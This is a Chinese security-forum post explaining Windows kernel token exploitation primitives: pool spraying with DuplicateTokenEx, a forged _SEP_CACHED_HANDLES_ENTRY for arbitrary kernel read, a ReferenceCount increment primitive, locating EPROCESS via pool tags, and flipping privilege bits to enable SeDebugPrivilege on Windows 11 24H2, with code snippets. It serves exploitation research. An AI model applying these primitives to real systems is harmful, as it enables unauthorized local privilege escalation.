首页
社区
课程
招聘
[原创]Windows 内核token原语浅谈
发表于: 2025-7-17 20:34 542

[原创]Windows 内核token原语浅谈

2025-7-17 20:34
542

前言

在windows内核提权中,经常用到各种结构,称为“原语”,这些“原语”常见的包括wnf、Io Ring、Token等,利用这些原语可以实现读、写、递增、递减等操作,帮助攻击者实现权限提升。本文介绍的TOKEN原语包括任意地址读“原语”和任意地址递增“原语”,适用于Paged Pool。经测试,在win1124h2上可以成功开启SeDebugPrivilege权限。

1 相关API

OpenProcessToken:打开进程token
DuplicateTokenEx: 池喷的关键函数,内核中申请Token结构,最终我们要利用这个结构的原语来提权。
DuplicateToken:复制token,递增“原语”需要用到。
GetTokenInformation:查询token信息
NtQueryInformationToken:GetTokenInformation的native api,功能同GetTokenInformation相似。

2 认识Token结构

DuplicateTokenEx经过层层调用,最终会调用ExAllocatePoolWithTag申请内存
Win11 24h2上调用序列如下:

1
2
3
4
5
6
DuplicateTokenEx
nt!KiSystemServiceCopyEnd+0x25  
  nt!NtDuplicateToken+0x1ce
nt!SepDuplicateToken+0x215
 nt!ObpAllocateObject+0x19c
ExAllocatePoolWithTag

从图中可以看出,池内存tag 为 “Toke” , 连pool头算在内大小为0x700,pool头偏移0x60 处以“User32”开头的地址才是真正token的指针,熟悉windows提权的朋友应该清楚,此处不再赘述。

3 定位

如何确定是自己创建的_TOKEN结构以及获得可操作的Handle?
进行池喷射的时候,可以通过GetTokenInformation获取到TokenId和句柄,可以将这些值保存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for (auto& toke : theTokeVec)
{
    // Allocates a _TOKEN object in kernel pool
    status = DuplicateTokenEx(hOriginal, MAXIMUM_ALLOWED, NULL, (SECURITY_IMPERSONATION_LEVEL)SECURITY_ANONYMOUS, TokenPrimary, &toke.hToke);
    if (!status) {
        printf("[-] DuplicateTokenEx fail: 0x%08x\n", GetLastError());
        status = FALSE;
 
    }
 
    status = GetTokenInformation(toke.hToke, TokenStatistics, &stats, sizeof(TOKEN_STATISTICS), &returnLen);
    if (!status) {
        printf("[-] GetTokenInformation fail: 0x%08x\n", GetLastError());
        status = FALSE;
    }
 
    toke.tokeId = stats.TokenId.LowPart; // High part is always 0
}

_TOKEN偏移0x10处是TokenId,读取这个值,与之前保存的值进行比对,确定是自己创建的_TOKEN并得到句柄,这个句柄实现读原语和递增原语的时候需要用到。

4 任意读原语

Token任意读和递增“原语”可以参考这篇文章013K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2N6X3#2U0j5h3I4D9i4K6u0W2K9h3!0Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5y4g2)9J5k6o6l9@1i4K6u0V1x3o6g2Q4x3X3c8H3L8%4u0@1K9h3&6Y4i4K6u0V1N6r3!0Q4x3X3b7J5y4p5R3J5i4K6u0r3i4@1f1K6i4K6R3H3i4K6R3J5i4@1f1^5i4@1u0r3i4K6V1^5i4@1f1#2i4K6S2r3i4@1q4r3i4@1f1@1i4@1u0n7i4@1p5#2i4@1f1#2i4K6S2r3i4K6R3J5i4@1f1^5i4K6R3H3i4K6R3K6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4K9r3g2J5k6h3W2K6K9K6m8K6K9r3I4Q4x3X3g2@1L8%4m8Q4x3V1k6H3L8%4y4@1i4K6u0r3j5Y4u0W2j5h3E0Q4x3X3c8E0k6g2)9J5k6r3!0#2N6q4)9J5k6r3!0X3i4K6u0V1M7$3q4F1k6r3u0G2P5q4)9J5k6r3W2F1i4K6u0V1L8$3I4V1i4K6u0V1M7r3W2H3k6g2)9J5k6r3y4$3k6g2)9J5k6o6t1H3x3U0u0Q4x3X3b7J5x3U0M7I4y4g2)9J5k6s2N6A6L8X3c8G2N6%4y4Q4x3X3c8V1K9i4u0@1P5g2)9J5k6s2m8A6M7r3g2Q4c8e0y4Q4z5o6m8Q4z5o6t1`.
用dt _token 命令可以查看_token结构,在0x480 偏移处是BnoIsolationHandlesEntry项,结构体为 _SEP_CACHED_HANDLES_ENTRY,读者可以通过IDA打开ntoskrnl.exe查看,这里直接贴出自己整理的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
enum _SEP_CACHED_HANDLES_ENTRY_TYPE : __int32
{                                       // XREF: _SEP_CACHED_HANDLES_ENTRY_DESCRIPTOR/r
    SepCachedHandlesEntryLowbox = 0x0,
    SepCachedHandlesEntryBnoIsolation = 0x1,
 };
//
struct _SEP_CACHED_HANDLES_ENTRY_DESCRIPTOR // sizeof=0x18 24字节)
{                                       // XREF: _SEP_CACHED_HANDLES_ENTRY/r
    _SEP_CACHED_HANDLES_ENTRY_TYPE DescriptorType; //4字节
    char pad[4];
    _UNICODE_STRING IsolationPrefix; //16字节
};
 
typedef struct _SEP_CACHED_HANDLES_ENTRY // sizeof=0x48 (72字节)
 {
    BYTE HashEntry[0x18];//_RTL_DYNAMIC_HASH_TABLE_ENTRY HashEntry;//24字节
     __int64 ReferenceCount;//8字节
     _SEP_CACHED_HANDLES_ENTRY_DESCRIPTOR EntryDescriptor;//24字节
    unsigned int HandleCount;//4字节
    char pad[8]; //8字节
    void** Handles; //4 字节
 }SEP_CACHED_HANDLES_ENTRY,*PSEP_CACHED_HANDLES_ENTRY;

可以通过伪造_SEP_CACHED_HANDLES_ENTRY结构实现任意读

1
2
3
4
5
6
7
//伪造_SEP_CACHED_HANDLES_ENTRY 结构
PSEP_CACHED_HANDLES_ENTRY psche = (PSEP_CACHED_HANDLES_ENTRY)malloc(sizeof(_SEP_CACHED_HANDLES_ENTRY));
memset(psche, 0, sizeof(SEP_CACHED_HANDLES_ENTRY));
 
//
psche->EntryDescriptor.IsolationPrefix.MaximumLength = 0x8; //8个字节
psche->EntryDescriptor.IsolationPrefix.Buffer = (PWSTR)addr; // 读的地址

这里假设已经可以随意修改_token 结构,利用漏洞修改BnoIsolationHandlesEntry为我们伪造的_SEP_CACHED_HANDLES_ENTRY结构,调用NtQueryInformationToken即可实现任意地址读。

1
2
3
4
5
6
7
8
9
//调用NtQueryInformationToken读取数据
ULONG RecvBufferSize = 0x20; //必须大于0x10+EntryDescriptor.IsolationPrefix.MaximumLength
byte RecvBuffer[0x20] = { 0 };
NTSTATUS Status = fNtQueryInformationToken(
    TokenHandle,
    TokenBnoIsolation,
    &RecvBuffer,
    RecvBufferSize,
    &RecvBufferSize);

示意图如下:

5 任意递增原语

SEP_CACHED_HANDLES_ENTRY中偏移0x18 处是ReferenceCount,当调用DuplicateToken时,ReferenceCount会加1,且只有这个地方会被修改。但有一个前提条件
_TOKEN->BnoIsolationHandlesEntry.ReferenceCount 不等于0,且小于0x7ffffffffffffffff。
这样看来,想要在哪个地址实现递增,只需要把BnoIsolationHandlesEntry指针修改为该地址减去0x18 就可以了。

6 寻找Eprocess

有了任意读和任意递增原语,还不能实现提权,因为我们没有泄露内核地址,无法定位当前进程的token指针,token指针在Eprocess固定偏移处,所以可以通过Eprocess指针来定位。
这篇文章提到了如何通过_TOKEN结构来寻找Eprocess指针
a83K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3q4J5L8r3q4T1M7#2)9J5k6i4y4Y4i4K6u0r3j5X3I4G2k6#2)9J5c8U0t1H3x3U0y4Q4x3V1j5I4x3g2)9J5k6r3g2^5M7r3I4G2K9i4c8S2N6r3W2G2L8W2)9J5k6r3!0X3i4K6u0V1j5g2)9J5k6r3E0W2M7X3&6W2L8q4)9J5k6s2m8G2L8$3I4Q4x3X3c8G2N6X3g2J5k6X3I4G2N6#2)9J5k6r3k6J5L8$3#2Q4x3X3c8S2i4K6u0V1M7X3g2K6N6s2u0A6j5%4c8A6N6X3g2Q4x3X3c8U0K9s2g2F1K9#2)9J5k6s2y4A6P5X3g2Q4x3X3c8U0N6X3g2Q4x3X3b7J5x3o6t1I4i4K6u0V1x3K6p5&6y4U0W2Q4x3V1k6Q4x3U0y4Z5N6h3&6@1K9h3&6Y4i4K6u0V1k6i4m8J5L8$3y4W2M7%4x3`.
总结如下:
1)Token结构中包含SessionObject,搜索SessionObject附近内存,找到”AlIn”块。
2)AlIn偏移0x38(包含pool头0x10)是IoCompletion 对象的指针。
3)在IoCompletion 指针附近搜索EtwR块。
4)EtwR块0x30(包含头)处是一个ERPOCESS指针
读者可以自行探索,不是100%成功,有时候找不到”AlIn”块。

7 提权

得到任意一个EPROCESS指针即可通过遍历找到当前进程的EPROCESS指针,进一步找到当前进程的_TOKEN结构指针,利用递增“原语”,开启SeDebugPrivilege权限。

如何确定开启权限递增的位置?这篇文章提到了详细的计算方法
f2aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2N6X3#2U0j5h3I4D9i4K6u0W2K9h3!0Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5y4g2)9J5k6o6l9@1i4K6u0V1x3o6g2Q4x3X3c8H3L8%4u0@1K9h3&6Y4i4K6u0V1N6r3!0Q4x3X3b7J5y4p5R3J5i4K6u0r3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
typedef enum _PRIVS
{
    unk = 0x0,
    unk2 = 0x1,
    SeCreateTokenPrivilege = 0x2,
    SeAssignPrimaryTokenPrivilege = 0x3,
    SeLockMemoryPrivilege = 0x4,
    SeIncreaseQuotaPrivilege = 0x5,
    SeUnsolicitedInputPrivilege = 0x6,
    SeTcbPrivilege = 0x7,
    SeSecurityPrivilege = 0x8,
    SeTakeOwnershipPrivilege = 0x9,
    SeLoadDriverPrivilege = 0xa,
    SeSystemProfilePrivilege = 0xb,
    SeSystemtimePrivilege = 0xc,
    SeProfileSingleProcessPrivilege = 0xd,
    SeIncreaseBasePriorityPrivilege = 0xe,
    SeCreatePagefilePrivilege = 0xf,
    SeCreatePermanentPrivilege = 0x10,
    SeBackupPrivilege = 0x11,
    SeRestorePrivilege = 0x12,
    SeShutdownPrivilege = 0x13,
    SeDebugPrivilege = 0x14,
    SeAuditPrivilege = 0x15,
    SeSystemEnvironmentPrivilege = 0x16,
    SeChangeNotifyPrivilege = 0x17,
    SeRemoteShutdownPrivilege = 0x18,
    SeUndockPrivilege = 0x19,
    SeSyncAgentPrivilege = 0x1a,
    SeEnableDelegationPrivilege = 0x1b,
    SeManageVolumePrivilege = 0x1c,
    SeImpersonatePrivilege = 0x1d,
    SeCreateGlobalPrivilege = 0x1e,
    SeTrustedCredManAccessPrivilege = 0x1f,
    SeRelabelPrivilege = 0x20,
    SeIncreaseWorkingSetPrivilege = 0x21,
    SeTimeZonePrivilege = 0x22,
    SeCreateSymbolicLinkPrivilege = 0x23,
    SeDelegateSessionUserImpersonatePrivilege  = 0x24
} PRIV;
 
typedef struct _PrivOffsets {
    uint16_t amount;
    uint16_t offset;
    } PrivOffsets;
 
consteval PrivOffsets CalcPrivIncrement(PRIV priv) {
    PrivOffsets offset = { 0 };
    offset.offset = priv / 8;
    offset.amount = 1 <<  ((priv & 0x7));
    return offset;
}

直接把原文扒下来,懒得翻译了

最后结果如下:


[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回